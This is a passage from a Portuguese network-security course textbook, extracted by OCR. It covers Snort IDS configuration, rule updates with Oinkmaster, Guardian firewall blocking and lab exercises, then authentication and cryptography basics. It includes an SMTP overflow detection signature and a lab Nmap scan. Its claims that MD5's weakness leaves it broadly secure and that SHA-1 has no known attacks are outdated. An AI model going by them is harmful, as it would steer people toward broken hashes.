11 -l: indica o diretório onde os logs do Snort serão armazenados. No acaso, o diretório
/var/log/snort conterá os registros de alertas e pacotes.

111
11 -u: indica o usuário que será utilizado para executar o Snort. Conforme o princípio q
do menor privilégio, não recomendamos que o Snort seja executado com direitos
de administrador (root).

11 -g: indica o grupo utilizado para executar o processo do Snort.

11 -c: indica o caminho do arquivo de configuração.

11 -S: variável=valor ajusta a variável para o valor definido. Permite alteração em linha
de comando de parâmetros do arquivo de configuração. Na execução acima, o
parâmetro está ajustando a variável HOME_NET para o valor 172.16.1.0/24, definido
durante a instalação.

11 -i: indica a interface que será utilizada para a captura de tráfego.

Alguns desses parâmetros podem ser ajustados no arquivo /etc/default/snort. Para controlar
a execução do serviço do Snort, podemos utilizar os seguintes comandos:

11 /etc/init.d/snort stop – encerra o Snort.

11 /etc/init.d/snort start – inicia o Snort.

11 /etc/init.d/snort restart – reinicia o Snort (aplica mudanças no arquivo de configuração).

Configuração do Snort
11 /etc/snort/snort.conf q
22 var RULE_PATH

33 Indica o caminho onde os arquivos de regras (assinaturas) se encontram.

22 include $RULE_PATH/<arquivo>.rules

33 Inclui um arquivo de regras.

22 # = comentário

A configuração do Snort reside no arquivo /etc/snort/snort.conf. Esse arquivo é extenso e


contém uma série de parâmetros de configuração do Snort. Para efeito deste curso, serão
vistos alguns parâmetros mais importantes. O aluno que desejar se aprofundar mais a res-
peito dos parâmetros de configuração do Snort pode buscar mais informações no manual
da ferramenta.

11 Variáveis (var) – configuram parâmetros do Snort, como a rede local, a rede externa, os ser-
vidores DNS, SMTP, HTTP, SQL, Telnet e SNMP. Configurar esses parâmetros pode reduzir SNMP
significantemente a quantidade de falsos positivos no seu IDS, pois o Snort só alertará Simple Mail Transfer
Protocol. Protocolo de
quando o destino efetivamente dispor do serviço indicado. A seguir alguns exemplos.
envio de mensagens de
22 var HOME_NET [192.168.1.0/24] correio eletrônico.

22 var SMTP_SERVERS 172.16.1.20

22 var EXTERNAL_NET any


Segurança de Redes e Sistemas

11 var RULE_PATH – indica o caminho onde os arquivos de regras (assinaturas) se encontram.

11 include $RULE_PATH/<arquivo>.rules – inclui um arquivo de regras. Os arquivos de regras


normalmente são divididos por categorias, de modo que seja fácil comentar as linhas cor-
respondentes para desabilitar as regras. Os comentários são feitos utilizando o caractere
“#” no início da linha.

112
Regras do Snort
11 Regras Sourcefire VRT Certified. q
11 Regras Sourcefire VRT (Vulnerability Research Team) Certified.

11 Regras Emerging Threats.

11 Regras Emerging Threats Pro.

Instalando regras:

11 Copiar os arquivos para o diretório de regras.

11 Referenciar no arquivo snort.conf (include <caminho do arquivo .rule>).

As regras do Snort são um elemento-chave na sua configuração. Sem regras, o Snort torna-se
um mero analisador de pacotes. As regras são linhas de texto contendo instruções para o
Snort localizar pacotes que contenham características específicas e informações acerca do
alerta a ser gerado. Abaixo um exemplo de regra, que detecta um ataque específico para
servidores de correio eletrônico (SMTP).

alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:”SMTP


RCPT TO overflow”; flow:to_server,established; content:”rcpt
to|3A|”; nocase; isdataat:300,relative; pcre:”/^RCPT TO\x3a\s[^\n]
{300}/ism”; reference:bugtraq,2283; reference:bugtraq,9696;
reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;)

Observe as variáveis do arquivo snort.conf, as portas envolvidas (25 TCP) e a indicação da


mensagem de alerta (parâmetro msg).

As regras instaladas no Snort podem ser habilitadas ou desabilitadas, individualmente ou


em grupo, inserindo comentários (#) nos arquivos de regra (extensão .rules) ou no próprio
snort.conf, para bloquear um conjunto inteiro de regras. Muitas regras podem gerar muitos
falsos positivos, então fazer um ajuste das regras é uma tarefa cansativa, porém indis-
pensável para que os registros de alerta sejam confiáveis e úteis. Um IDS que gera muitos
alertas falsos facilmente acaba em desuso. Existem atualmente diferentes conjuntos de
regras para o Snort, alguns pagos e outros gratuitos.

A seguir uma descrição sobre os conjuntos mais comuns:

11 Regras Sourcefire VRT (Vulnerability Research Team) Certified – regras fornecidas pela
Sourcefire, empresa responsável pelo desenvolvimento do Snort. Necessitam de uma
assinatura por parte do usuário.

11 Regras Sourcefire VRT Certified (versão para usuários registrados) – regras gratuitas
Capítulo 5 - Detecção e prevenção de intrusos

(snort-rules), fornecidas com defasagem de 30 dias em relação às regras comerciais,


podem ser obtidas mediante registro no sítio. As regras se referem a versões específicas
do Snort, portanto verifique a versão instalada antes de baixá-las.

11 Regras Emerging Threats – regras comunitárias e gratuitas, desenvolvidas por voluntários.


Apesar de gratuitas, as regras ET são muito eficientes e possuem um elevado índice de
atualizações. O diretório open contém as regras para cada versão do Snort.

11 Regras Emerging Threats Pro – versão paga do ET, que custa 500 dólares por ano.

Para instalar um novo conjunto de regras, basta copiar os arquivos para o diretório de
regras do Snort (normalmente /etc/snort/rules) e referenciá-los no arquivo snort.conf
(include <caminho do arquivo .rule>).

113
Oinkmaster
Com atualização automática de regras, é instalado automaticamente no apt-get. q
11 Configuração (emerging threats).

Parâmetros adicionais:

11 enablesid SID1, SID2.

11 disablesid SID1, SID2.

Conforme foi dito, a atualização constante de regras é fundamental para o bom funciona-
mento de um IDS. Porém, dependendo do número de atualizações diárias e da quantidade
de sensores, a tarefa de mantê-los atualizados pode ficar muito complexa. Com o intuito
de facilitar a atualização de regras, foi criada uma ferramenta chamada Oinkmaster, que
permite que a atualização seja feita de forma automática.

A instalação do Oinkmaster é automaticamente realizada junto com o Snort, durante a exe-


cução do comando apt-get install. A configuração da ferramenta é bastante simples e consiste
apenas em indicar no arquivo de configuração os parâmetros necessários e instalar um agen-
damento (cron) no ambiente para executar periodicamente a ferramenta. A seguir, os passos Cron
para a configuração do Oinkmaster para atualização das regras do projeto emerging threats. Sistema de agenda-
mento de tarefas de
1. Edite o arquivo /etc/oinkmaster.conf e adicione a seguinte linha: um ambiente Unix.

http://www.emergingthreats.net/rules/emerging.rules.tar.gz

Salve o arquivo.

2. Verifique o funcionamento do Oinkmaster, executando-o na linha de comando:

/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o <diretório de saída>

3. Crie um novo diretório para não misturar os conjuntos de regras (ex: /etc/snort/rules2).

4. Configure o cron para executar o Oinkmaster periodicamente com o comando crontab –e.
Exemplo para executar o Oinkmaster todos os dias às 5h30 da manhã:

30 5 * * * /usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/


snort/rules2

5. É necessário reiniciar o Snort após a atualização, então é interessante criar um script para
realizar as duas tarefas e incluí-lo no cron.

6. Adicione os arquivos de regras no seu snort.conf, utilizando as diretivas include

l
<arquivo.rule>. Não se esqueça de especificar o caminho completo.

O Oinkmaster possui parâmetros extras que podem ser inseridos no arquivo de configu- Saiba mais
ração. Seguem dois parâmetros importantes:
Segurança de Redes e Sistemas

Mais informações sobre


11 enablesid SID1, SID2, ... – habilita automaticamente a regra identificada pelo SID. Um o funcionamento do
SID é um número único que identifica uma regra, que pode ser visto no parâmetro “sid:” Oinkmaster podem
ser obtidas no docu-
presente na linha da regra.
mento Installing and
11 disablesid SID1, SID2, ... – desabilita automaticamente a regra identificada pelo SID. configuring OinkMaster,
de Patrick Harper.

114
Guardian: um Snort reativo
O Guardian é um script na linguagem Perl, que insere temporariamente regras de q
bloqueio em um firewall, a partir dos alertas gerados pelo Snort. Através do Guardian,
a instalação de Snort passa a ter uma característica reativa.

O Guardian não é instalado automaticamente na distribuição e deve ser baixado e instalado


manualmente. Os passos a seguir instalam o Guardian e o integram com o firewall Iptables:

11 Baixe a última versão do “Guardian Active Response for Snort” e o descompacte.

11 Copie o arquivo de configuração do Guardian para o diretório /etc.

11 Edite o arquivo e ajuste os seguintes parâmetros:

22 Interface – interface onde serão bloqueados os pacotes maliciosos. Ajuste para a sua
interface externa.

22 HostGatewayByte – último octeto do endereço IP do gateway.

22 AlertFile – local do arquivo de alertas do Snort.

11 Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão ignorados


(um por linha).

11 Crie o arquivo /etc/guardian.target e inclua nele os endereços IP da máquina atual.

11 Copie o arquivo guardian.pl para o diretório /usr/local/bin.

11 Copie os scripts de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretório.

22 cp scripts/iptables_unblock.sh /usr/local/bin/guardian_unblock.sh

22 cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh

11 Execute o Guardian com o seguinte comando:

/usr/local/bin/guardian.pl –c /etc/guardian.conf

Snort-inline
Modo especial de funcionamento do Snort, integrado com o firewall Iptables/netfilter q
(snort como IPS). Funcionamento:

11 Pacotes recebidos pelo Iptables são encaminhados para uma fila.

11 Snort-inline decide pelo encaminhamento.

Snort-inline é um modo especial de funcionamento do Snort, integrado com o firewall Iptables/


netfilter para funcionar como um IPS. Cada pacote recebido pelo Iptables é encaminhado para
Capítulo 5 - Detecção e prevenção de intrusos

uma fila (queue), para ser processado pelo Snort-inline, que pode descartar pacotes de acordo
com as suas regras, de modo que o pacote não é passado adiante pelo processo de roteamento
do firewall. Opcionalmente podem ser gerados registros e alertas correspondentes.

Assim como qualquer IPS, a implementação do Snort-inline deve ser realizada com
cuidado, pois caso a máquina onde se encontra o IPS fique sobrecarregada, ela pode
impactar no desempenho da rede ou até tornar indisponível o segmento de rede
atrás do IPS.

Um dos principais usos no Snort-inline consiste no Projeto Honeynet (Honeynet Project).


Ele foi utilizado como componente principal do honeywall roo. Uma honeynet consiste em
uma rede com servidores especialmente construídos com o objetivo de atrair atacantes

115
para a honeynet (daí o honey, “mel” em inglês). Dessa forma, um pesquisador de segurança
consegue aprender com as técnicas empregadas pelo atacante. Uma honeynet é um tópico
avançado e deve ser utilizada apenas por administradores experientes.

Os responsáveis pelo projeto Snort-inline passaram a investir em um novo IDS/IPS open


source, chamado suricata. Apesar de recente, ele possui objetivos ambiciosos, podendo vir
w
Mais informações sobre
a ser um novo padrão em IDS/IPS open source. As regras Emerging Treats também estão o projeto Honeynet
disponíveis para o Suricata da Open Information Security Foundation (OISF). podem ser encontradas
em: http://www.
Bro Intrusion Detection System honeynet.org/

O Bro IDS é um projeto open source de um sistema de detecção de intrusos baseado em


rede. Forte concorrente do Snort, ele monitora de forma passiva o tráfego de rede em busca
de atividades suspeitas. A sua análise inclui a detecção de ataques específicos (inclusive os
definidos pelas assinaturas, mas também aqueles definidos em termos de eventos) e ativi-

l
dades incomuns (por exemplo, certo host conectar a determinados serviços ou falhas em
tentativas de conexão).

Se o Bro detectar algo de interesse, pode ser configurado para gerar uma entrada de log, Saiba mais
alertar o operador em tempo real, executar um comando do sistema operacional (por
Outro projeto interes-
exemplo, para finalizar a conexão ou bloquear um host malicioso on-the-fly). Além disso, os sante de IPS é o HLBR,
arquivos de log detalhados do Bro podem ser facilmente utilizados pela ciência forense. desenvolvido no
Brasil disponível no
Para que esse aplicativo funcione corretamente, será necessário instalar os seguintes sourceforge.
componentes na máquina Linux: Libpcap, Flex, Bison ou byacc, cabeçalhos e bibliotecas do
BIND8, Autotools, OpenSSL, Libmagic, Libz, GnuPG, LibGeopIP e Google Perftools.

HIDS
Existem diversas ferramentas que realizam detecção de intrusos com base em hosts.
Podemos citar algumas, disponíveis na internet:

11 OSSEC: ferramenta bastante completa de HIDS, capaz de realizar análise de logs, q


verificação de integridade de arquivos, monitoramento de políticas, detecção de
rootkits e alertas em tempo real, entre outros. Disponível para plataformas como
Linux, MacOS, Solaris, HP-UX, AIX e Windows.

11 SAMHAIN: HIDS que provê verificação de integridade de arquivos e análise e monito-


ramento de arquivos de log. Ele foi projetado para monitorar múltiplas máquinas com
diferentes sistemas operacionais, provendo registros centralizados e gerenciados.

11 Tripwire: ferramenta antiga de monitoramento de integridade de arquivos, muito


usada para verificar se os arquivos de um sistema operacional foram modificados,
o que pode ser um indício de comprometimento do servidor.

11 Osíris: ferramenta de monitoramento de alterações em máquinas capaz de moni-


torar mudanças no sistema de arquivos, lista de usuários e grupos e módulos de
Segurança de Redes e Sistemas

kernel. Suporta plataformas como Linux, BSD, Windows, AIX, Solaris e MacOS.
Atua de forma centralizada, monitorando mudanças em diversas máquinas.

116
Roteiro de Atividades 5
Atividade 1 – Configuração básica do Snort
Configure o Snort na máquina gateway (FWGW1), e teste a sua configuração utilizando a
ferramenta Nmap.

Passo 1 Instale o Nmap no host Windows XP.

Passo 2 No host FWGW1, atualize a base de pacotes do apt-get com o repositório da


internet e instale o Snort:
# apt-get update
# apt-get install snort
Quando for questionado pelo processo de instalação do Snort, defina como
“Address Range Local”: 172.16.G.0/24,10.1.G.0/24

Passo 3 Por padrão, o apt-get configura o Snort para iniciar automaticamente apenas
na interface eth0; para esta atividade vamos iniciar o Snort na interface eth1,
que interliga com o host Windows XP. Para isso use o comando:
# /etc/init.d/snort start eth1

Passo 4 No host Windows XP, realize um scan na rede DMZ para encontrar todos os
serviços publicados.

Passo 5 No host FWGW1, verifique os logs gerados no Snort:


# cat /var/log/snort/alert
Ou:
Capítulo 5 - Roteiro de Atividades

# tail –f /var/log/snort/alert

117
Atividade 2 – Atualização de regras
Configure o Oinkmaster para atualizar automaticamente as regras, uma vez por hora.
Utilize as regras Emerging Threats.

Desafio: você consegue configurar o Oinkmaster para atualizar as regras VRT? Será neces-
sário se registrar no site do Snort e obter um Oinkcode. Pesquise na internet se é possível
utilizar o Oinkmaster para atualizar mais de um conjunto de regras.

Passo 1 No host FWGW1, edite o arquivo de configuração do Oinkmaster a adicione


a URL sugerida no texto.
# vi /etc/oinkmaster.conf
URL = http://www.emergingthreats.net/rules/emerging.rules.
tar.gz
Não se esqueça de comentar a linha URL:
http://www.snort.org/dl/rules/snortrules-snapshot-2.2.tar.gz

Passo 2 No host FWGW1, teste a configuração do Oinkmaster realizada no passo anterior:


# mkdir /etc/snort/rules2
# /usr/sbin/oinkmaster -C /etc/oinkmaster.conf -o /etc/
snort/rules2
Inclua o parâmetro abaixo no arquivo /etc/snort/snort.conf:
include /etc/snort/rules2/emerging.rules

Passo 3 Crie um script para automatizar a execução do Oinkmaster e para reiniciar


o Snort sempre que baixar uma nova versão das assinaturas.
Sugestão: crie o script no diretório de scripts de inicialização de processos do
Debian: /etc/init.d/.
Automatize a execução do script recém-criado utilizando o crontab.
Exemplo:
# vi /root/atualiza_regras.sh
!#/bin/bash

# Processo de baixar as novas regras


/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/snort/
rules2
# Reinicia o Snort
/etc/init.d/snort stop eth1
/etc/init.d/snort start eth1

Agora vamos dar permissão de execução do script criado acima:


# chmod +x /root/atualiza_regras.sh
Segurança de Redes e Sistemas

Passo 4 Teste a configuração do script recém-criado.


# /root/atualiza_regras.sh

118
Atividade 3 – Bloqueio automático no firewall
Configure o Guardian para bloquear automaticamente os pacotes com destino ao firewall,
conforme descrito na parte teórica. Utilize o Nmap para testar o bloqueio.

Desafio: existe alguma ferramenta para teste de IDS? Verifique na internet e tente instalar
para testar o Snort.

Passo 1 No host FWGW1, baixe o “Guardian Active Response for Snort” do endereço
# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz
# tar –xvzf guardian-1.7.tar.gz
# cd guardian-1.7

Passo 2 Copie o arquivo de configuração do Guardian para o diretório /etc e edite o


arquivo, ajustando os parâmetros:
InterfaceHostGatewayByteAlertFile
Obs.: Para este atividade não existe a necessidade de alterar os parâmetros acima.

Passo 3 Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão


ignorados (um por linha) e crie o arquivo /etc/guardian.target e inclua nele
os endereços IP da máquina atual.

Passo 4 Copie o arquivo guardian.pl para o diretório /usr/local/bin. Copie os scripts


de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretório.
# cp guardian.pl /usr/loca/bin
# cp scripts/iptables_unblock.sh /usr/local/bin/guardian_
unblock.sh
# cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh

Passo 5 Execute o Guardian com o seguinte comando:


# /usr/local/bin/guardian.pl –c /etc/guardian.conf

Atividade 4 – Criando uma regra personalizada do Snort


O objetivo desta atividade é demonstrar como pode ser criada uma regra customizada
do Snort. Neste exemplo, vamos criar uma regra que vai alertar sempre que um usuário
acessar o You Tube.

Passo 1 No host FWGW1, crie o arquivo /etc/snort/rules/yutube.rules com o seguinte


conteúdo:
alert tcp any any -> any any (content:”www.youtube.com”;
msg:”Acesso ao Youtube”; sid:100002; rev:1;)

Passo 2 Adicione a nova regra ao arquivo de configuração do Snort. Para isso, edite o
arquivo /etc/snort/snort.conf e insira no final a seguinte linha:
Capítulo 5 - Roteiro de Atividades

include $RULE_PATH/youtube.rules

Passo 4 Reinicie o Snort:


/etc/init.d/snort restart eth1

Passo 5 Como não temos uma porta espelhada no switch para instalação do Snort,
vamos gerar o acesso a partir da máquina LinServer. Para isso, execute:
# apt-get install lynx
# lynx www.youtube.com

Passo 6 Acesse o log do Snort em /var/log/snort/alert e veja o funcionamento da regra.

119
Segurança de Redes e Sistemas

120
6
Autenticação, Autorização
e Certificação Digital
objetivos

Conhecer em detalhes o processo de identificação de usuários, autenticação,


autorização e auditoria.

conceitos
Sistema AAA, criptografia, certificados digitais, gerenciamento de senhas, sistemas
de autenticação única, servidores de diretório LDAP e sistemas de autorização.

Introdução
O processo de identificação de usuários, autenticação, autorização e auditoria é funda-
mental para garantir a segurança de aplicações e serviços, de modo que somente usuários
previamente cadastrados, identificados e autenticados podem ter acesso aos recursos
computacionais que lhes foram autorizados pelo responsável.

Para nivelar o conhecimento e permitir o entendimento de alguns assuntos, serão apresen-


tados conceitos básicos sobre criptografia e certificação digital.

Exercício de nivelamento 1 e

Capítulo 6 - Autenticação, Autorização e Certificação Digital


Autenticação e autorização
O que você entende como processo de identificação, autenticação, autorização e auditoria?

Sistema AAA
11 Autenticação (Authentication) q
22 Mecanismo de identificação do usuário.

11 Autorização (Authorization)

22 Mecanismo de validação de privilégios.

121
11 Auditoria (Account) q
22 Mecanismo de gerar registros das ações do usuário.

O processo de controlar o acesso, garantindo que a origem dos dados é a de quem alega ser,
é um dos objetivos da autenticação. Garantir o uso autorizado de recursos e o registro de
todas as atividades dentro de um sistema são tarefas dos sistemas conhecidos por: Auten-
ticação, Autorização e Auditoria (AAA). Nesta sessão, serão apresentados os protocolos e
técnicas para trabalhar com cada um desses As.

Autenticação
Algo que você sabe: q
11 Mecanismo de senhas e suas variações

22 OTP, Passphrases etc.

11 O mais simples de implementar.

11 O menos seguro, por limitação do usuário.

Algo que você tem:

11 Smartcards, chips, token etc.

Algo que você é:

11 Biometrias

22 Impressão digital, formato da íris, voz, face etc.

A autenticação é um processo que tem por objetivo garantir que um usuário é realmente
quem diz ser. Esse é um processo básico e fundamental quanto tratamos de segurança de
sistemas e serviços, pois basta um usuário usurpar as credenciais de outro usuário que
possui maiores privilégios para ser gerado um grave incidente de segurança. O processo de
autenticação em geral se baseia em três princípios básicos para permitir ao usuário provar a
sua autenticidade. São eles:

Algo que você sabe

Nesse princípio, o sistema solicita ao usuário que informe algo que somente aquele usuário
sabe. O exemplo mais comum desse princípio são as senhas e suas variações (OTP e
passphrases). Apesar de ser o mais barato de implementar, pois pode ser implementado
inteiramente via software, em geral é o menos seguro, pois um atacante pode tentar adi-
vinhar a senha de um usuário. Como o cérebro humano é limitado, os usuários tendem a
escolher senhas fáceis de lembrar.

Algo que você tem

Aqui o usuário deve apresentar algo para o sistema que lhe foi dado no momento em que
se registrou para obter acesso ao sistema. Dessa forma, ao reapresentar o mesmo objeto, o
Segurança de Redes e Sistemas

usuário estaria comprovando que é realmente quem diz ser. Normalmente, são combinados
com uma senha (chamada de PIN), de modo que não possa ser usado caso seja roubado.
Nessa categoria, são muito comuns os smartcards, chips e tokens. São considerados mais
seguros que o primeiro, pois para um usuário se passar por outro, deve obter o objeto que o
identifica e a senha correspondente.

Algo que você é

Essas são consideradas as formas mais seguras de autenticação, pois envolvem uma carac-
terística intrínseca ao usuário. Em geral são chamadas de biometrias.

122
Alguns exemplos: impressões digitais, formato da íris, voz, face etc. Apesar de consideradas
seguras, devem ser utilizadas de forma cuidadosa, pois o seu uso indiscriminado pode criar
uma falsa sensação de segurança. Um leitor de impressões digitais pode ser enganado com
uma impressão digital falsa, caso não tenha um dispositivo que garanta que o dedo em
questão é “vivo”. Ou o mesmo leitor, caso esteja controlando uma porta, pode ser arrancado
do seu lugar e a porta aberta por uma mera junção de dois fios.

Autorização
O usuário obtém acesso somente aos recursos previamente definidos pelo gestor do
sistema. A autorização corresponde a um processo seguinte à autenticação, onde o usuário
obtém acesso aos recursos de acordo com o nível de acesso que lhe foi designado por um
administrador ou gestor. Dessa forma, uma vez corretamente identificado, o usuário pode
ter acesso a determinados recursos.

Auditoria
A auditoria por fim corresponde ao processo de verificação contínua se os acessos con-
cedidos estão corretos e se não há acessos indevidos. Normalmente temos um auditor
que periodicamente verifica as trilhas de auditoria, que são registros feitos pelos sistemas
de autenticação e autorização, contendo todos os acessos realizados pelos usuários do
ambiente. Através de um processo consistente de AAA, podemos ter um ambiente com
um nível de segurança adequado, sem comprometer a integridade, a confidencialidade e a
disponibilidade dos sistemas.

Nos itens a seguir, estaremos considerando a autenticação com base em senhas, visto que é
a autenticação mais comum e possível de se implementar via software.

Exercício de fixação 1 e
Sistema AAA
Quais são os princípios básicos em que se baseia o processo de autenticação em geral?

O que é autorização?

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Criptografia
11 Simétrica: também conhecida por criptografia convencional. q
11 Assimétrica: criptografia por chaves pública e privada.

11 Algoritmo de Hash: os cinco fundamentos para um bom algoritmo de Hash.

Esconder seus segredos sempre foi um dos grandes desafios da humanidade. Os antigos
generais precisavam transmitir informações para seus exércitos sem o perigo de ter suas
mensagens interceptadas e traduzidas pelo inimigo. O uso da criptografia apareceu, possi-
velmente, nas primeiras guerras da antiguidade e seu primeiro relato de uso na história é
atribuído a Cesar, imperador de Roma.

123
Basicamente, um processo criptográfico envolve a aplicação de três conceitos elementares:
a mensagem/texto, o algoritmo e a chave. A mensagem consiste, pura e simplesmente, na
informação que se deseja transmitir de forma segura; o algoritmo é a forma que será utili-
zada para cifrar e decifrar uma mensagem; e a chave, em alguns modelos computacionais,
pode ser entendida como o segredo compartilhado que deve ser conhecido apenas pelas
duas partes envolvidas no processo de comunicação. A garantia da confidencialidade está
em esconder do atacante o algoritmo ou a chave utilizada.

Um esquema de codificação criptográfica consiste em uma tupla (M, C, K, E e D) com as


seguintes propriedades:

11 M é um conjunto conhecido como espaço de texto comum (plaintext).

11 C é um conjunto conhecido como espaço de texto cifrado (ciphertext).

11 K é um conjunto conhecido como espaço de chave.

11 E é uma família de funções de codificação criptográficas tal que Ek: MgC

11 D é uma família de funções de decodificação criptográficas tal que Dk: CgM

O algoritmo criptográfico define a forma como a mensagem será cifrada e decifrada.


A definição prévia do algoritmo pelas partes envolvidas (transmissor e receptor) é um dos
fatores fundamentais no processo de comunicação seguro.

Os algoritmos criptográficos podem ser divididos em dois grandes grupos: algoritmos simé-
tricos ou de chave secreta e algoritmos assimétricos ou de chave pública.

Criptografia simétrica
Utiliza a mesma chave para criptografar e descriptografar uma informação. q
Vantagens:

11 Velocidade e algoritmos rápidos.

11 Facilidade de implementação em hardware.

11 Chaves pequenas e simples geram cifradores robustos.

Desvantagens:

11 Dificuldade do gerenciamento das chaves.

11 Não permite a autenticação.

11 Não permite o não repúdio do remetente.

A criptografia simétrica utiliza a mesma chave para criptografar e descriptografar uma


informação. Essa chave tem de ser compartilhada entre o emissor e o receptor da infor-
mação. Entretanto, o uso de criptografia simétrica dificulta o gerenciamento de chaves e não
permite a autenticação e o não repúdio do remetente.
Segurança de Redes e Sistemas

Imagine a seguinte situação: um usuário A deseja conversar de forma criptografada com um


usuário B. Para tal, ele precisa de um algoritmo e de uma chave. Se ele usa criptografia simétrica,
a chave para A cifrar a mensagem e B decifrar é a mesma. Agora imagine que A deseja conversar
com um usuário C. Para essa nova conversa, haveria a necessidade de uma nova chave, pois se A
usar a mesma chave que usa com B, o próprio B poderia decifrar as mensagens. Dessa forma, se
estivermos conversando com 100 pessoas, necessitaríamos de 100 chaves diferentes. Rapida-
mente percebemos que a solução de criptografia simétrica não estende bem, pois quando cres-
cemos o número de usuários envolvidos, a gerência das chaves se torna inviável. Para procurar
resolver esse problema de gerenciamento de chaves, foi criada a criptografia assimétrica.

124
Criptografia assimétrica
11 Gerenciamento de chaves. q
11 Implantação de não repúdio do remetente.

11 Pode ser utilizada para garantir a confidencialidade, a autenticidade ou ambos.

11 A principal desvantagem é o desempenho, pois é muito mais lenta que a


criptografia simétrica.

A criptografia assimétrica é uma forma de criptossistema em que a criptografia e a des-


criptografia são realizadas via diferentes chaves: uma chave pública e uma chave privada.
Ela também é conhecida como criptografia de chave pública. A criptografia assimétrica
transforma o texto claro em texto cifrado usando uma de duas chaves e um algoritmo de
criptografia. Usando a outra chave associada e um algoritmo de descriptografia, o texto
claro é recuperado a partir do texto cifrado.

Chave privada Chave pública


de Beto de Beto

Figura 6.1 texto claro texto cifrado texto claro


Criptografia
assimétrica.

Dessa forma, a criptografia assimétrica pode ser utilizada para garantir a confidencialidade,
a autenticidade ou ambos. O criptossistema mais utilizado atualmente é o RSA, sendo
envolvido o conceito de números primos, de modo que é difícil de explorar, pela complexi-
dade de se encontrar números primos de um número composto.

A criptografia assimétrica tem como desvantagem o desempenho, pois é muito mais lenta
que a criptografia simétrica. Se usássemos criptografia assimétrica em todas as transações
criptográficas, teríamos perda de desempenho bastante significativa. Dessa forma, o mais
comum é utilizar de uma forma combinada as duas técnicas:

1. Uma chave simétrica, inteiramente randômica, é criada e os dados são cifrados q


com essa chave.

Capítulo 6 - Autenticação, Autorização e Certificação Digital


2. A chave simétrica em si é cifrada com a chave pública do destinatário.

3. O conjunto chave e mensagem é enviado ao destinatário.

4. O destinatário decifra a chave simétrica (chamada de chave de sessão) utilizando


sua chave privada.

5. Com a chave simétrica em mão, o destinatário decifra o resto da mensagem.

Tamanho das chaves


Algoritmos assimétricos utilizam os tamanhos de chave: q
11 1024 bits.

11 2048 bits.

11 4096 bits.

125
Algoritmos simétricos utilizam tamanhos menores: q
11 128 bits.

11 256 bits.

Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento


da época e do custo médio para se quebrar uma chave.

Em geral, os algoritmos assimétricos utilizam tamanhos de chave (1024, 2048 ou 4096 bits)
muito maiores que os algoritmos simétricos (128, 256 bits), pois o comprometimento de uma
chave de sessão invalida apenas uma transação, porém o comprometimento de uma chave
assimétrica invalida todas as transações daquele usuário. Os tamanhos de chave costumam
variar, de acordo com a capacidade de processamento da época e do custo médio para se
quebrar uma chave. Atualmente o algoritmo simétrico recomendado é o AES-256, que utiliza
chaves de 256 bits.

Algoritmos Hash

Algoritmos Hash são funções criptográficas conhecidas como one-way. Essas funções
possuem como entrada mensagens de tamanho variável e a saída de tamanho fixo.
Uma mensagem de entrada, sempre que for submetida à análise da função Hash vai
gerar a mesma saída.

Figura 6.2
Mensagem Valor do hash Função Hash
Função de hash de uma só via
(tamanho arbitrário) (tamanho fixo) (Fonte: Cert RS).

O principal propósito da função Hash é criar uma “impressão digital” de um arquivo,


mensagem ou bloco de dados.

Um algoritmo Hash pode ser considerado forte quando: q


One-Way

11 A partir do resultado da função Hash, não é possível descobrir a mensagem de


entrada, de tamanho arbitrário. Também conhecido como algoritmo de uma só via.

Fraca resistência à colisão

11 Quando computacionalmente for impossível encontrar uma segunda entrada dife-


rente de uma primeira entrada conhecida e as duas saídas forem iguais.

Forte resistência à colisão

11 Quando computacionalmente for impossível encontrar um par de entradas diferentes


com a mesma saída.

Algoritmos Hash mais difundidos:


Segurança de Redes e Sistemas

MD5
Função de Hash de uma só via, inventada por Ron Rivest, do MIT, que também trabalha para
a Indústria RSA de Segurança de Dados. O algoritmo MD (Message Digest) produz um valor
de Hash de 128-bit para um tamanho arbitrário da mensagem inserida. Foi primeiramente
proposto em 1991, depois de alguns ataques de criptoanálise descobertos contra a função
de Hash de uma só via, utilizada no MD4 de Rivest. O algoritmo foi projetado para veloci-
dade, simplicidade e segurança. É claro que os detalhes do algoritmo são públicos e foram
analisados por diversos criptógrafos.

126
Uma fraqueza foi descoberta em alguma parte do MD5, mas não afetou a segurança global
do algoritmo. Porém, o fato de ele só produzir um valor de Hash de 128-bit é inquietante; é
preferível uma função de Hash de uma só via, que produza um valor mais longo.

SHA
Função de Hash de uma só via, desenvolvida pelo NIST (National Institute of Standards and
Technology). Produz um valor de Hash de 160-bit de um tamanho arbitrário da mensagem.
O SHA é uma função Hash baseada na função Hash MD4. Porém, a fraqueza na parte do
algoritmo MD5 mencionada ainda não foi possível de aplicar contra o SHA. Acredita-se que
o SHA não possui essa vulnerabilidade. Atualmente, não existe forma conhecida de ataque
criptoanalítico contra o SHA, com exceção do ataque de força bruta. Seu valor de 160-bits
torna o ataque de força bruta ineficiente. É claro que não existe prova de que alguém não
possa quebrar o SHA no futuro próximo ou mesmo quando esse material estiver sendo lido.

Modos de operação de algoritmos criptográficos


Outra questão importante acerca de criptografia são os modos de operação. Em especial,
temos os modos de operação em bloco e os modos de operação em stream. A operação em
bloco divide os dados em conjuntos de tamanho fixo (chamados de blocos). Esses blocos são
combinados com repetições da chave para gerar o texto cifrado, muitas vezes utilizando a
operação matemática XOR. Apesar de útil para a cifragem de arquivos, uma cifragem de bloco
não é adequada para a transmissão de dados cifrados de forma contínua, como, por exemplo,
d uma conexão VPN ou uma transmissão de vídeo, pois numa cifra de bloco o algoritmo teria de
aguardar um bloco ser completado para fazer a cifragem, o que reduzirá o desempenho.
Saiba mais
As cifragens de bloco podem ter vários modos de operação, cada um com suas vantagens e
Para conhecer mais desvantagens. São eles: Electronic Codebook (ECB), Cipher-block Chaining (CBC), Propagating
